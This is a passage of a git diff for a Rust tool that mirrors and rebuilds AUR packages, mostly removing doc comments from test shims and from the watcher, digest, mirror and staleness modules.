split_version(&self) -> (String, String) { match self.version.rsplit_once('-') { Some((v, r)) => (v.to_string(), r.to_string()), @@ -51,7 +49,6 @@ impl FakePackage { } } -/// A member of the fake chroot world, for `.BUILDINFO` (§10.1). #[derive(Debug, Clone, Default, Serialize, Deserialize)] #[serde(default)] pub struct FakeInstalled { @@ -60,22 +57,16 @@ pub struct FakeInstalled { pub arch: String, } -/// The scripted outcome of a fixture. #[derive(Debug, Clone, Serialize, Deserialize)] #[serde(default)] pub struct Manifest { pub name: String, - /// `succeed` | `fail` | `check-fail` | `no-pkgver` pub build: String, - /// Text the fake build writes to its log, for log-tail tests. pub log_lines: Vec<String>, pub packages: Vec<FakePackage>, pub installed: Vec<FakeInstalled>, - /// Emit `.sig` files (default true). pub sig: bool, - /// `pkgver` the fake `makepkg --vercheck` computes (VCS fixtures, §5.2). pub vercheck: Option<String>, - /// Extra files to drop into the package tarball. pub files: Vec<String>, } @@ -104,8 +95,6 @@ pub fn manifest() -> Manifest { } } -/// Record that a shim ran, so tests can assert on what the pipeline actually -/// invoked rather than what it intended to invoke. pub fn record(tool: &str, args: &[String]) { let dir = match std::env::var("AUR_SHIM_DIR") { Ok(d) => d, @@ -127,26 +116,20 @@ pub fn record(tool: &str, args: &[String]) { } } -/// Test hook: kill the process that invoked us, mid-step, with a signal it cannot -/// catch. This is how the crash-resume invariant (I5) is tested for real. fn kill_parent_if_asked(tool: &str) { let want = std::env::var("AUR_SHIM_KILL_PARENT").unwrap_or_default(); if want == tool { unsafe { libc::kill(libc::getppid(), libc::SIGKILL); } - // If the kill somehow did not land, do not let the step complete — that - // would make the test silently test nothing. std::process::exit(137); } } -/// True when the harness asked this tool to fail. fn forced_fail(tool: &str) -> bool { std::env::var("AUR_SHIM_FAIL").map(|v| v == tool).unwrap_or(false) } -/// Read the invocation log back (test side). pub fn invocations(dir: &Path) -> Vec<serde_json::Value> { let path = dir.join("invocations.jsonl"); match std::fs::read_to_string(path) { @@ -158,7 +141,6 @@ pub fn invocations(dir: &Path) -> Vec<serde_json::Value> { } } -/// Entries whose `args` mention `needle`. pub fn called_with(dir: &Path, tool: &str, needle: &str) -> usize { invocations(dir) .iter() @@ -172,7 +154,6 @@ pub fn called_with(dir: &Path, tool: &str, needle: &str) -> usize { .count() } -/// Dispatch table used by every `src/bin/*.rs`. pub fn run(tool: &str) -> i32 { let args: Vec<String> = std::env::args().skip(1).collect(); record(tool, &args); @@ -196,10 +177,7 @@ pub fn run(tool: &str) -> i32 { } } -/// `mkarchroot <path>`: create a directory that stands in for a warm root. pub fn mkarchroot(args: &[String]) -> Result<i32, String> { - // `mkarchroot [-C pacman.conf] [-M makepkg.conf] <root>`: the config options - // take a value, so they cannot be skipped blindly. let mut target = None; let mut skip = false; for a in args { @@ -218,28 +196,18 @@ pub fn mkarchroot(args: &[String]) -> Result<i32, String> { } let target = target.ok_or("mkarchroot: no target")?; std::fs::create_dir_all(&target).map_err(|e| e.to_string())?; - // A marker so the pipeline can tell a real root from a fake one. let _ = std::fs::write(Path::new(&target).join("SHIM-ROOT"), "fake chroot\n"); Ok(0) } -/// `makechrootpkg -c -r <chroot> -- ...`: kept as a stand-in for direct shim -/// tests. The pipeline no longer calls it; the package-emitting logic lives in -/// [`emit_packages`], shared with the `makepkg` shim. pub fn makechrootpkg(args: &[String], m: &Manifest) -> Result<i32, String> { - // The real tool reads a chroot root; asserting it keeps the fake honest - // about the real tool's contract. if !args.iter().any(|a| a == "-r") { return Err("makechrootpkg: expected -r <chroot>".into()); } - // Sign only when the caller asked, like the real tool. A shim that signed - // anyway would hide the move of signing hub-side from every test. let wants_sig = args.iter().any(|a| a.starts_with("-si") || a == "-i" || a == "--sign"); emit_packages(m, "makechrootpkg", wants_sig) } -/// The shared build emulation: emit one `.pkg.tar.zst` per manifest package -/// into the current directory, exactly where the real tools leave them. pub fn emit_packages(m: &Manifest, tool: &str, wants_sig: bool) -> Result<i32, String> { for l in &m.log_lines { println!("{l}"); @@ -253,8 +221,6 @@ pub fn emit_packages(m: &Manifest, tool: &str, wants_sig: bool) -> Result<i32, S return Ok(1); } let startdir = std::env::current_dir().map_err(|e| e.to_string())?; - // Assert the PKGBUILD is there so a broken materialize step cannot pass - // silently. if !startdir.join("PKGBUILD").exists() { let found = std::fs::read_dir(&startdir) .map(|rd| rd.filter_map(|e| e.ok()).map(|e| e.file_name().to_string_lossy().into_owned()).collect::<Vec<_>>()) @@ -279,9 +245,6 @@ pub fn emit_packages(m: &Manifest, tool: &str, wants_sig: bool) -> Result<i32, S Ok(0) } -/// I9 test hook: drop a symlink into the srcdir standing in for a PKGBUILD that -/// tries to smuggle outside bytes into the artifact store. The pipeline must -/// refuse it; see `collect` in steps.rs. fn plant_link_if_asked(startdir: &Path) { let target = match std::env::var("AUR_SHIM_PLANT_LINK") { Ok(t) if !t.is_empty() => t, @@ -301,7 +264,6 @@ fn packages_to_emit(m: &Manifest, startdir: &Path) -> Vec<FakePackage> { if !m.packages.is_empty() { return m.packages.clone(); } - // No explicit manifest: derive one package from the PKGBUILD we were given. let text = std::fs::read_to_string(startdir.join("PKGBUILD")).unwrap_or_default(); let recipe = crate::recipe::parse_pkgbuild(&text).ok(); match recipe { @@ -326,8 +288,6 @@ fn packages_to_emit(m: &Manifest, startdir: &Path) -> Vec<FakePackage> { } } -/// Write a `.pkg.tar.zst` containing `.PKGINFO`, `.BUILDINFO` and any scripted -/// payload files. pub fn write_package(dir: &Path, p: &FakePackage, m: &Manifest) -> Result<PathBuf, String> { let (pkgver, pkgrel) = p.split_version(); let filename = format!("{}-{}-{}.pkg.tar.zst", p.name, p.version, p.arch); @@ -347,7 +307,6 @@ pub fn write_package(dir: &Path, p: &FakePackage, m: &Manifest) -> Result<PathBu for f in &m.files { write_entry(&mut ar, &format!("usr/share/{}/{f}", p.name), f.as_bytes())?; } - // A payload file so the artifact has non-metadata bytes and a real size. write_entry(&mut ar, &format!("usr/bin/{}", p.name), b"#!/bin/sh\necho hi\n")?; let enc = ar.into_inner().map_err(|e| e.to_string())?; enc.finish().map_err(|e| e.to_string())?; @@ -398,9 +357,6 @@ fn pkginfo(p: &FakePackage, pkgver: &str, pkgrel: &str) -> String { s } -/// `.BUILDINFO`: the full installed set at build time. Left unfiltered this is -/// the whole chroot, which is exactly why §10.1 intersects it with our own -/// packages before storing a world snapshot. fn buildinfo(p: &FakePackage, pkgver: &str, pkgrel: &str, m: &Manifest) -> String { let mut s = String::new(); s.push_str("format = 2\n"); @@ -422,7 +378,6 @@ fn fake_sig(bytes: &[u8]) -> Vec<u8> { format!("-----BEGIN FAKE PGP SIGNATURE-----\n{}\n-----END FAKE PGP SIGNATURE-----\n", hash::hex(bytes)).into_bytes() } -/// `makepkg --printsrcinfo` / `--vercheck` (§5.2 Stage B). pub fn makepkg(args: &[String], m: &Manifest) -> Result<i32, String> { if args.iter().any(|a| a == "--vercheck" || a == "-V-check") { let v = m.vercheck.clone().unwrap_or_else(|| "1.0-1".into()); @@ -468,19 +423,10 @@ pub fn makepkg(args: &[String], m: &Manifest) -> Result<i32, String> { } } } else { - // `makepkg -c -f`: the pipeline's build step in the provisioned sandbox. - // No `-s` and no `-si` reach this shim. emit_packages(m, "makepkg", false) } } -/// `pacman -U <blobs...>` / `pacman -Q`: a fake installed database living in the -/// shim dir, so the provisioning step's world check runs against something that -/// behaves. -/// -/// `-U` refuses any file that does not hash to the digest its filename claims and -/// records each package from its `.PKGINFO`; `-Q` reports exactly what was -/// installed, which makes the pipeline's fail-closed world assertion a real test. pub fn pacman(args: &[String]) -> Result<i32, String> { if args.iter().any(|a| a == "-U") { for path in args.iter().filter(|a| !a.starts_with('-')) { @@ -522,18 +468,6 @@ fn installed_db() -> Option<std::path::PathBuf> { std::env::var("AUR_SHIM_DIR").ok().map(|d| std::path::Path::new(&d).join("installed.txt")) } -// `repo-add [-s -p key -R] <db.tar.{gz,zst}> <pkg...>`: rebuild the database -// from the packages handed to it. The real tool appends and `-R` replaces an -// existing entry; we rebuild the whole db, which is what our publish step does -// anyway. - -/// The database filenames pacman's repo-add accepts — and therefore the ones this -/// shim must accept, and no others. A shim more permissive than the tool it -/// stands in for is worse than no shim: the pipeline used to render its database -/// to `<db>.tar.gz.tmp`, real repo-add rejects that as a usage error, and every -/// publish test passed because the shim would write anywhere. Measured against -/// `repo-add (pacman) 7.1.0`: the `.db.tar` forms with or without a compression -/// suffix, and nothing else. pub const DB_SUFFIXES: [&str; 5] = [ ".db.tar", ".db.tar.gz", @@ -542,7 +476,6 @@ pub const DB_SUFFIXES: [&str; 5] = [ ".db.tar.xz", ]; -/// Whether repo-add would accept this path as its database argument. pub fn valid_db_arg(p: &Path) -> bool { let name = p .file_name() @@ -555,8 +488,6 @@ pub fn valid_db_arg(p: &Path) -> bool { } pub fn repo_add(args: &[String], _m: &Manifest) -> Result<i32, String> { - // `-p <key>` and friends take a value; a naive filter would treat the key id - // as a package path. let mut positional: Vec<&String> = Vec::new(); let mut skip = false; for a in args { @@ -577,8 +508,6 @@ pub fn repo_add(args: &[String], _m: &Manifest) -> Result<i32, String> { None => return Err("repo-add: no database given".into()), }; if !valid_db_arg(&db_path) { - // Same wording and same exit status as the real tool, so a caller that - // learns to branch on one learns to branch on the other. eprintln!( "==> ERROR: '{}' does not have a valid database archive extension.", db_path.display() @@ -617,7 +546,6 @@ pub fn repo_add(args: &[String], _m: &Manifest) -> Result<i32, String> { .map_err(|e| e.to_string())?; } let tar = ar.into_inner().map_err(|e| e.to_string())?; - // pacman databases are gzip'd tarballs. let mut enc = flate2::write::GzEncoder::new( std::fs::File::create(&db_path).map_err(|e| e.to_string())?, flate2::Compression::default(), @@ -629,11 +557,6 @@ pub fn repo_add(args: &[String], _m: &Manifest) -> Result<i32, String> { Ok(0) } -/// Pull `.PKGINFO` out of a `.pkg.tar.zst` and render the `DESC` fields a pacman -/// database carries beyond the fixed ones. Both halves come from -/// `crate::pkginfo`, the parser the production pipeline uses — two parsers that -/// can drift is a supply-chain-shaped foot-gun in a system whose whole job is -/// provenance (§6 M-4). fn pkginfo_fields(pkg_bytes: &[u8]) -> Result<(String, String, String, String), String> { let text = crate::pkginfo::pkginfo_text(pkg_bytes)?; let info = crate::pkginfo::parse_pkginfo(&text); @@ -658,8 +581,6 @@ fn pkginfo_fields(pkg_bytes: &[u8]) -> Result<(String, String, String, String), Ok((info.name, info.version, info.arch, extra)) } -/// `gpg --detach-sign --output <sig> <file>`: write a deterministic stand-in -/// signature so the signing path is exercised end to end. pub fn gpg(args: &[String]) -> Result<i32, String> { let out = args .iter() diff --git a/src/time.rs b/src/time.rs index b5f077e..8460f20 100644 --- a/src/time.rs +++ b/src/time.rs @@ -1,6 +1,5 @@ use chrono::{DateTime, SecondsFormat, TimeZone, Utc}; -/// Current time as a canonical DB timestamp: `2026-11-17T20:43:24Z`. pub fn now() -> String { match pinned() { Some(pinned) => pinned, @@ -8,10 +7,6 @@ pub fn now() -> String { } } -/// The instant relative arithmetic should use, which is what makes `secs_ago` -/// and `secs_ahead` honest under a pinned clock (§6 m-1): a pinned test asking -/// for a 90-second lease means 90 seconds after *the pinned instant*, not after -/// the real one. fn base() -> DateTime<Utc> { match pinned().and_then(|p| parse(&p)) { Some(t) => t, @@ -31,7 +26,6 @@ thread_local! { static CLOCK: std::cell::RefCell<Option<String>> = const { std::cell::RefCell::new(None) }; } -/// Pin the clock for the current thread (tests only). Returns the previous value. pub fn pin(ts: &str) -> Option<String> { CLOCK.with(|c| { let mut slot = c.borrow_mut(); @@ -58,7 +52,6 @@ pub fn delta_secs(a: &str, b: &str) -> Option<i64> { Some(parse(b)?.signed_duration_since(parse(a)?).num_seconds()) } -/// A timestamp `secs` from [`base`], canonical format. pub fn secs_ago(secs: i64) -> String { fmt(base() - chrono::Duration::seconds(secs)) } diff --git a/src/urlutil.rs b/src/urlutil.rs index 51def16..0452ccd 100644 --- a/src/urlutil.rs +++ b/src/urlutil.rs @@ -1,25 +1,14 @@ use std::collections::BTreeSet; -/// The host of one `source=()` entry, or `None` when it names no host — a local -/// file, a relative path, or a `file://` URL. -/// -/// Handles the `custom::` and `git+`/`svn+`/`npm+` prefixes a PKGBUILD puts before a -/// URL. pub fn host_of(source: &str) -> Option<String> { let s = source.rsplit("::").next().unwrap_or(source); let s = s.rsplit('+').next().unwrap_or(s); let rest = s.split("://").nth(1)?; let host = rest.split('/').next()?; - // `git+ssh://git@github.com/...` names the same place as - // `https://github.com/...`; leaving the user in would make a scheme change - // look like a new source host and cry wolf at a reviewer. let host = host.rsplit('@').next().unwrap_or(host); (!host.is_empty()).then(|| host.to_string()) } -/// The distinct hosts a `source=()` array names, sorted. A host appearing here -/// that was not in the accepted release's list is a new place the build fetches -/// code from (§5.3, §6). pub fn hosts(sources: &[String]) -> BTreeSet<String> { sources.iter().map(|s| s.as_str()).filter_map(host_of).collect() } diff --git a/src/watch/detect.rs b/src/watch/detect.rs index de1285e..800c157 100644 --- a/src/watch/detect.rs +++ b/src/watch/detect.rs @@ -8,28 +8,16 @@ use crate::time; use crate::watch::digests::resolve_sources; use crate::watch::mirror::{read_tree, sync_mirror, Sync}; -/// What one check of one pkgbase resulted in. -/// -/// Four variants mirror [`Upsert`] deliberately (n-2): `Upsert` answers the storage -/// question, `Outcome` the watcher's. `outcome_of` is the only place that knows both. #[derive(Debug, Clone)] pub enum Outcome { NoChange, - /// The subscription is paused: we look at nothing and change nothing. Paused, - /// A new review was opened. Candidate { id: i64, kind: String }, - /// The open review was updated in place (I7). Collapsed { id: i64, revision: i64 }, - /// The seen-but-unresolved review was frozen and a new one opened. Superseded { old: i64, new: i64 }, - /// Identical to something a human already rejected. PreviouslyRejected, - /// Something changed but nothing is publishable (I11). Notice { kind: String, detail: serde_json::Value }, - /// The package vanished from AUR. Gone, - /// Detection could not complete; the watcher will back off. Blocked(String), } @@ -40,12 +28,9 @@ pub struct CheckReport { pub outcome: Outcome, } -/// One full detection pass for a subscribed pkgbase. pub fn check_pkgbase(cfg: &Config, db: &Db, name: &str) -> Result<CheckReport> { let pb = get_pkgbase(db, name)? .ok_or_else(|| crate::error::Error::not_found(format!("pkgbase {name}")))?; - // A paused subscription is not observed at all: pausing must not keep opening - // reviews nobody will act on, nor keep polling AUR. let sub = db::get_subscription(db, name)?;; let paused = sub.as_ref().map(|s| s.state == SubscriptionState::Paused).unwrap_or(false); if paused { @@ -64,8 +49,6 @@ pub fn check_pkgbase(cfg: &Config, db: &Db, name: &str) -> Result<CheckReport> { db::set_subscription_state(&db.writer, name, SubscriptionState::Orphaned)?; return Ok(CheckReport { pkgbase: name.into(), head: String::new(), outcome: Outcome::Gone }); } - // The cheap poll saved a fetch, but we still have to look: a source can - // change its bytes without the recipe moving (§5.3). Sync::Unchanged { head } => head.clone(), Sync::Fetched { head, .. } | Sync::Cloned { head } => head.clone(), }; @@ -74,24 +57,16 @@ pub fn check_pkgbase(cfg: &Config, db: &Db, name: &str) -> Result<CheckReport> { r } -/// When to look at this pkgbase again: its own interval if the subscription -/// carries one, otherwise the global default. The interval is an argument because -/// the caller already read the subscription row (m-11). fn schedule_next(db: &Db, name: &str, poll_interval: Option<i64>) { let interval = poll_interval.unwrap_or_else(|| crate::db::setting_i64(db, "poll_interval", 86400)); let next = time::secs_ahead(interval); - // Best-effort: a missed stamp means the scheduler looks again a tick early, - // not that a change goes unnoticed. let _ = db::note_check(&db.writer, name, &next, None); } -/// Everything after the mirror is up to date. fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckReport> { let mirror = cfg.mirror_path(&pb.name); let report = |outcome: Outcome| CheckReport { pkgbase: pb.name.clone(), head: head.to_string(), outcome }; - // §16 mirror divergence: if the accepted pin has vanished from our own - // mirror, hard-fail this pkgbase rather than silently re-pinning. let accepted = crate::review::candidates::accepted_for(db, pb)?; if let Some(a) = &accepted { if !crate::git::has_commit(&mirror, &a.aur_commit) { @@ -113,12 +88,8 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor let recipe = recipe_from_tree(&tree.files)?; let recipe_hash = tree.recipe_hash(); - // §5.2, the two-stage funnel. Stage A is one `ls-remote` per VCS source and - // costs no clone; if the tip set is what the accepted release was built from, - // nothing can have changed and Stage B never runs. let has_vcs = recipe.source_entries.iter().any(|e| e.is_vcs()); let accepted_pins: Vec<UpstreamPin> = accepted.as_ref().map(|a| a.pins()).unwrap_or_default(); - // A recipe with no VCS sources states its own version. let stage_a = if has_vcs { Some(crate::watch::upstream::probe(&recipe, &accepted_pins)?) } else { @@ -129,8 +100,6 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor } else if stage_a.as_ref().unwrap().needs_stage_b() { crate::watch::upstream::resolve(cfg, db, pb, &recipe, &recipe_hash, stage_a.as_ref().unwrap())? } else { - // Upstream has not moved; reusing the accepted pins keeps the next pass - // cheap too. accepted.as_ref().map(|a| crate::watch::upstream::StageB { epoch: a.epoch.clone(), pkgver: a.pkgver.clone(), @@ -139,8 +108,6 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor cached: true, }) }; - // For a VCS package the literal `pkgver=` is frozen; the resolved one is the - // only version a consumer could install. let (epoch, pkgver, pkgrel, pins) = match &resolved { Some(r) => (r.epoch.clone(), r.pkgver.clone(), r.pkgrel.clone(), r.pins.clone()), None => (recipe.epoch.clone(), recipe.pkgver.clone(), recipe.pkgrel.clone(), Vec::new()), @@ -176,13 +143,11 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor }; let Some(base) = accepted else { - // §7.1b: nothing to diff against — this is a first introduction. let up = upsert_candidate(db, pb, None, &nc)?; score(db, cfg, pb, &recipe, &digests, None, candidate_id_of(&up)); return Ok(report(outcome_of(up))); }; - // Same identity as what we already serve: nothing happened. if base.aur_commit == head && base.epoch == nc.epoch && base.pkgver == nc.pkgver @@ -197,8 +162,6 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor let publishable = pkgver::vercmp(&base.version(), &new_version) != std::cmp::Ordering::Equal; if !publishable { - // §5.2 / §5.3: nothing pacman could offer as an upgrade. Record it - // loudly instead of inventing a pkgrel bump. return Ok(report(non_publishable(db, pb, &base, &nc, &recipe)?)); } @@ -224,8 +187,6 @@ fn candidate_id_of(up: &Upsert) -> Option<i64> { } } -/// Advisory risk scoring (§6). Best-effort: a scoring failure must never lose a -/// candidate, so this logs rather than propagates. fn score( db: &Db, cfg: &Config, @@ -239,13 +200,10 @@ fn score( if let Ok(a) = crate::review::risk::assess(db, cfg, recipe, digests, accepted) { let _ = crate::review::candidates::set_risk(db, id, &a.level, &a.signals); } - // Record now what would block the build later, using the same rule the plan - // step uses, so a reviewer sees it before approving (§10.4). let missing = missing_deps(db, pb, recipe); let _ = crate::review::candidates::set_missing_deps(db, id, &missing); } -/// Dependencies that are ours to publish but are not in the index yet. fn missing_deps(db: &Db, pb: &Pkgbase, recipe: &Recipe) -> Vec<String> { let ours = match db::our_package_names(db) { Ok(o) => o, @@ -278,8 +236,6 @@ fn outcome_of(up: Upsert) -> Outcome { } } -/// The version string did not move, so there is no review to open — but the change -/// is recorded, because a silently drifting tarball must not be invisible (§5.3). fn non_publishable( db: &Db, pb: &Pkgbase, @@ -289,9 +245,6 @@ fn non_publishable( ) -> Result<Outcome> { let old_digests: Vec<SourceDigest> = base.digests(); let new_digests: Vec<SourceDigest> = serde_json::from_str(&nc.source_digests_json).unwrap_or_default(); - // A local source is part of the recipe: when its bytes move, that *is* the - // recipe drift. A VCS source's digest is its pin, so upstream moving shows up - // there too, but that is ordinary drift (§5.3). let vcs_indices: std::collections::BTreeSet<usize> = recipe .source_entries .iter() @@ -312,9 +265,6 @@ fn non_publishable( let pins_changed = old_pins != new_pins; if digest_changed { - // The single most valuable detection in the system: the artifact in the - // index was built from bytes upstream no longer serves, and the version is - // unchanged. An approval would be useless, so this is an alert. let changed: Vec<serde_json::Value> = changed_remote .iter() .map(|n| { @@ -350,8 +300,6 @@ fn non_publishable( )?; return Ok(Outcome::Notice { kind: notice_kind::PIN_DRIFT.into(), detail: serde_json::json!({}) }); } - // The recipe drifted under a static version: the maintainer probably forgot - // to bump pkgrel, and the user should know. db::put_notice_once( &db.writer, pb.id, diff --git a/src/watch/digests.rs b/src/watch/digests.rs index d3119eb..b95bd6c 100644 --- a/src/watch/digests.rs +++ b/src/watch/digests.rs @@ -4,7 +4,6 @@ use crate::error::Result; use crate::recipe::{declared_sums, is_hex_digest, SKIP}; use crate::watch::mirror::Tree; -/// Resolve the digest of every `source=()` entry. pub fn resolve_sources( cfg: &Config, db: &Db, @@ -23,8 +22,6 @@ pub fn resolve_sources( }; if entry.is_vcs() { - // The resolved commit *is* the digest; captured during Stage B where - // we clone anyway (§5.2), so near-free. let pin = pins.iter().find(|p| p.index == entry.index); let digest = pin .map(|p| p.commit.clone()) @@ -36,10 +33,6 @@ pub fn resolve_sources( kind: entry.vcs.clone().unwrap_or_else(|| "vcs".into()), digest, size: 0, - // Computed from the recipe like every other entry (m-19), not - // hardcoded: for a VCS source the answer is usually - // yes-by-absence, so renderers must ask `is_vcs` before calling - // it a missing checksum. skip_declared: match declared_sums(recipe, entry.index) { Some(d) => d == SKIP || !is_hex_digest(&d), None => true, @@ -61,8 +54,6 @@ pub fn resolve_sources( let d = crate::hash::hex(&bytes); (d, bytes.len() as u64) } - // A "local" file that is not in the tree is the recipe's bug; - // record the absence rather than inventing a digest. None => (String::new(), 0), }; out.push(SourceDigest { @@ -76,9 +67,7 @@ pub fn resolve_sources( continue; } - // Static source. if !skip_declared { - // Trusted-as-declared: makepkg verifies it at build time. out.push(SourceDigest { index: entry.index, url: entry.url.clone(), @@ -90,8 +79,6 @@ pub fn resolve_sources( continue; } - // The paid path: download and stream-hash into the cache, which the - // build then reuses so the bytes are paid for once. let (digest, size) = download_and_cache(cfg, db, &entry.url)?; out.push(SourceDigest { index: entry.index, @@ -105,10 +92,6 @@ pub fn resolve_sources( Ok(out) } -/// Download `url`, hashing as we go, and record it in `source_cache`. -/// -/// This always goes to the network: the point of .5.3 is to notice that the bytes -/// behind a `SKIP` source changed while the version did not. pub fn download_and_cache(cfg: &Config, db: &Db, url: &str) -> Result<(String, u64)> { let tmp = cfg.source_cache_dir().join(format!("tmp-{}", crate::hash::short(url.as_bytes(), 16))); let (digest, size) = crate::fetch::fetch_to(url, &tmp)?; @@ -126,8 +109,6 @@ pub fn download_and_cache(cfg: &Config, db: &Db, url: &str) -> Result<(String, u Ok((digest, size)) } -/// The cached file holding `digest`, if we still have it. The build uses this -/// so the bytes it consumes are the bytes that were hashed at detection time. pub fn cached_path(db: &Db, url: &str, digest: &str) -> Option<std::path::PathBuf> { db::source_cache_path(db, url, digest) .ok() diff --git a/src/watch/mirror.rs b/src/watch/mirror.rs index b6f9c47..89c175d 100644 --- a/src/watch/mirror.rs +++ b/src/watch/mirror.rs @@ -6,21 +6,14 @@ use crate::db::{self, Db}; use crate::error::{Error, Result}; use crate::git; -/// Result of a cheap poll. `Unchanged` means we did **not** fetch — the poll is -/// `git ls-remote`, one request per pkgbase (§5.1). #[derive(Debug, Clone, PartialEq, Eq)] pub enum Sync { - /// Remote is gone (deleted from AUR). Gone, - /// `ls-remote` matched the local tip; no fetch performed. Unchanged { head: String }, - /// The tip moved; we fetched and now have `head`. Fetched { head: String, previous: Option<String> }, - /// We had no local mirror yet. Cloned { head: String }, } -/// Ensure a mirror exists and is polled. Updates `pkgbase.aur_head`. pub fn sync_mirror(cfg: &Config, db: &Db, name: &str, url: &str) -> Result<Sync> { let mirror = cfg.mirror_path(name); let known_head = db::get_pkgbase(db, name)?.and_then(|p| p.aur_head.clone()); @@ -52,15 +45,9 @@ fn record(db: &Db, name: &str, head: &str, mirror: &Path) -> Result<()> { db::set_aur_head(&db.writer, pb.id, head, &mirror.display().to_string()) } -/// A materialized snapshot tree: blob ids for hashing, text bodies for parsing -/// and diffing. #[derive(Debug, Clone)] pub struct Tree { - /// `(path, git blob id)` for every file in the tree — the input to - /// `recipe_hash`, which covers shipped patches too (§3). pub blobs: Vec<(String, String)>, - /// Text bodies, keyed by path. Binary files are omitted here but still - /// counted in `blobs`. pub files: BTreeMap<String, String>, } @@ -79,10 +66,7 @@ impl Tree { } } -/// Read a commit's tree out of the mirror without touching the network. pub fn read_tree(mirror: &Path, commit: &str) -> Result<Tree> { - // §16 mirror divergence: if a pin we are asked to read has vanished, that is - // a hard failure, not a silent re-pin. if !git::has_commit(mirror, commit) { return Err(Error::fail_closed(format!( "commit {commit} is missing from the local mirror; history was rewritten" @@ -104,8 +88,6 @@ fn looks_textual(b: &[u8]) -> bool { !b[..b.len().min(512)].contains(&0) } -/// Raw bytes of one file at a commit — used to hash sources shipped in the AUR -/// repo (§5.3 "local file shipped in the AUR repo"). pub fn read_file(mirror: &Path, commit: &str, path: &str) -> Result<Vec<u8>> { git::read_blob(mirror, commit, path) } diff --git a/src/watch/scheduler.rs b/src/watch/scheduler.rs index 837a51a..eb79db0 100644 --- a/src/watch/scheduler.rs +++ b/src/watch/scheduler.rs @@ -6,7 +6,6 @@ use crate::config::Config; use crate::db::{self, Db}; use crate::watch::detect::check_pkgbase; -/// Spawn the watcher tick thread. pub fn spawn_scheduler(cfg: Arc<Config>, db: Db, stop: Arc<AtomicBool>) -> JoinHandle<()> { std::thread::Builder::new() .name("watcher".into()) @@ -14,7 +13,6 @@ pub fn spawn_scheduler(cfg: Arc<Config>, db: Db, stop: Arc<AtomicBool>) -> JoinH while !stop.load(Ordering::SeqCst) { let tick = crate::db::setting_i64(&db, "poll_tick", 30); sweep(&cfg, &db); - // Sleep in small slices so shutdown is prompt. let mut slept = 0; while slept < tick && !stop.load(Ordering::SeqCst) { std::thread::sleep(std::time::Duration::from_secs(1)); @@ -25,7 +23,6 @@ pub fn spawn_scheduler(cfg: Arc<Config>, db: Db, stop: Arc<AtomicBool>) -> JoinH .expect("spawn watcher") } -/// One sweep over everything that is due. pub fn sweep(cfg: &Config, db: &Db) -> usize { let now = crate::time::now(); let due = match db::due_subscriptions(db, &now) { diff --git a/src/watch/staleness.rs b/src/watch/staleness.rs index 2631769..4e171a1 100644 --- a/src/watch/staleness.rs +++ b/src/watch/staleness.rs @@ -3,26 +3,19 @@ use crate::error::Result; #[derive(Debug, Clone, PartialEq, Eq)] pub enum Kind { - /// A dependency we publish has moved on. Outdated, - /// A dependency we publish has disappeared from the index. Missing, } #[derive(Debug, Clone)] pub struct Stale { pub kind: Kind, - /// The pkgbase that would need rebuilding. pub pkgbase: String, - /// The dependency, or the pkgbase itself for `Missing`. pub dependency: String, - /// Version it was built against. pub built_with: String, - /// Version the index serves now (empty when missing). pub now: String, } -/// Every stale package, derived from world snapshots against the live index. pub fn stale_rows(db: &Db) -> Result<Vec<Stale>> { let rows = db::published_world_members(db)?; @@ -30,7 +23,6 @@ pub fn stale_rows(db: &Db) -> Result<Vec<Stale>> { for (pkgbase, members_json) in rows { let members: Vec<db::WorldMember> = serde_json::from_str(&members_json).unwrap_or_default(); for m in members { - // A package is not stale relative to itself. if m.pkgbase == pkgbase { continue; } @@ -57,15 +49,10 @@ pub fn stale_rows(db: &Db) -> Result<Vec<Stale>> { Ok(out) } -/// Staleness for one pkgbase, rendered for the package page. pub fn stale_for(db: &Db, pkgbase: &str) -> Result<Vec<Stale>> { Ok(stale_rows(db)?.into_iter().filter(|s| s.pkgbase == pkgbase).collect()) } -/// AUR now offers a **lower** version than we serve (§10.2). This is not a build -/// request; it is an announcement that the mirror and upstream have disagreed. -/// -/// Derived on read, so it disappears the moment either side moves. pub fn downgrades(db: &Db) -> Result<Vec<Stale>> { let rows = db::served_vs_offered_pkgvers(db)?; let mut out = Vec::new(); @@ -84,18 +71,12 @@ pub fn downgrades(db: &Db) -> Result<Vec<Stale>> { Ok(out) } -/// "If I approve this, what goes stale?" — the dependents question (§10.3). -/// A package depends on `name` if `name` appears in its recorded world or in -/// its recipe dependencies. pub fn dependents_of(db: &Db, name: &str) -> Result<Vec<String>> { let mut out: Vec<String> = Vec::new(); for (pkgname, json) in db::index_recipes(db)? { if pkgname == name { continue; } - // A recipe we cannot read is not a recipe that does not depend on - // `name`: treat the unreadable as a reason to look, so a malformed - // srcinfo cannot silently hide a dependent package from staleness. let depends = match serde_json::from_str::<crate::db::model::Recipe>(&json) { Ok(r) => crate::pkgver::dep_names(&r.depends) .into_iter() diff --git a/src/watch/upstream.rs b/src/watch/upstream.rs index 507d734..2b89238 100644 --- a/src/watch/upstream.rs +++ b/src/watch/upstream.rs @@ -9,34 +9,24 @@ use crate::db::{self, model::*, Db, Pkgbase}; use crate::error::{Error, Result}; use crate::git; -/// What Stage A found. #[derive(Debug, Clone)] pub struct StageA { - /// One pin per VCS source, in `source=()` order. pub pins: Vec<UpstreamPin>, - /// URLs we could not probe cheaply (svn, hg, or a dead remote). Treated as - /// "assume it moved" — we would rather run Stage B than miss a release. pub unprobed: Vec<String>, - /// True when the tip set differs from the accepted release's pins. pub moved: bool, } impl StageA { - /// Stage B is worth running: something upstream moved, or we cannot prove - /// that nothing did. pub fn needs_stage_b(&self) -> bool { self.moved || !self.unprobed.is_empty() } } -/// Probe every VCS source in the recipe. **Every** one, not just the first: a -/// pkgbase can build from two upstream repos and either can move alone. pub fn probe(recipe: &Recipe, accepted: &[UpstreamPin]) -> Result<StageA> { let mut pins = Vec::new(); let mut unprobed = Vec::new(); for entry in recipe.source_entries.iter().filter(|e| e.is_vcs()) { let want = if let Some(c) = &entry.commit { - // Pinned to a commit by the recipe itself: it cannot move. pins.push(UpstreamPin { 